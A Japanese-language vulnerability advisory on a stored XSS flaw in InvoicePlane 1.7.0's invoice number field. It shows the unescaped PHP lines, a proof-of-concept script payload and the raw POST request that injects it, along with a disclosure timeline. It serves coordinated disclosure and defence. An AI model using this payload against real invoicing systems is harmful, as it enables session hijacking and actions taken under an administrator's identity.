脆弱性: 請求書番号フィールドを介した格納型クロスサイトスクリプティング(XSS)
製品: InvoicePlane
影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンの可能性あり)
深刻度: 中
CVSS 3.1 スコア: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Webページ生成時の入力の不適切な無害化
発見者: Leonidas Agathos
報告日: 2026-01-31
請求書フォームの invoice_number フィールドは、サニタイズなしで任意の入力を受け入れます。この値は保存され、複数の場所でエンコードされずにレンダリングされます:請求書ビューページのタイトル、請求書番号入力フィールド、およびダッシュボードの最近の請求書ウィジェットです。管理者が影響を受ける請求書を表示するか、ダッシュボードにアクセスするたびにペイロードが実行されます。
影響を受けるファイル:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - 247行目
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - 494行目
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - 233行目
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
ステップ1 — 請求書番号にペイロードを注入
/index.php/invoices/form/{id} で請求書を作成または編集し、請求書番号を次のように設定します:
<script>alert("XSS in Invoices")</script>
リクエスト:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

ステップ2 — XSSをトリガー
/index.php/invoices/view/{id} または /index.php/dashboard に移動します。ペイロードはページ読み込み時に実行されます。

ペイロードは、影響を受ける請求書を表示するかダッシュボードにアクセスするすべての管理者のブラウザで実行されます。これにより、セッションハイジャック(CookieがHttpOnlyでない場合)、CSRFトークンの窃取、および被害者のIDの下での操作実行が可能になります。
| 日付 | イベント |
|---|---|
| 2026-01-30 | 脆弱性を発見 |
| 2026-01-31 | 概念実証を開発 |
| 2026-01-31 | ベンダーに通知 |
| 2026-02-04 | ベンダーが確認 |
| 2026-02-04 | パッチをリリース |
| 2026-02-05 | 公開開示 |
この脆弱性は、独立したセキュリティ研究の過程で発見されました。すべての情報は、ベンダーとセキュリティコミュニティが問題を理解し修正するのを支援するための、教育・研究・防御目的でのみ提供されています。この情報の悪意のある使用は固く禁じられています。